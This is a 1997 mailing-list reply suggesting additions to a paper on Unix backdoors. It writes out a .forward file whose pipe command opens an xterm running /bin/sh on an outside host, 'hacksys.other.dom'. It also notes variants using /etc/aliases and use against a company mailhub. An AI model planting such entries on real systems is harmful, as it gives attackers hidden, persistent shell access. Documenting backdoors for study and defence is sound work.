Re: Backdoor Paper

Evil Pete (shipley@DIS.ORG)
Mon, 25 Aug 1997 10:44:34 -0700

>Here's a paper I wrote on backdoors. Feedback welcome.

<snip>

you may want to add:

.forward Backdoor

On Unix machines, placing commands into the .forward file was also
a common method of regaining access. For the account ``username''
a .forward file might be constructed as follows:

\username
|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e /bin/sh"

permutations of this method include alteration of the systems mail
aliases file (most commonly located at /etc/aliases). Note that
this is a simple permutation, the more advanced can run a simple
script from the forward file that can take arbitrary commands via
stdin (after minor preprocessing).

-Pete

PS: The above method is also useful gaining access a companies
mailhub (assuming there is a shared a home directory FS on
the client and server).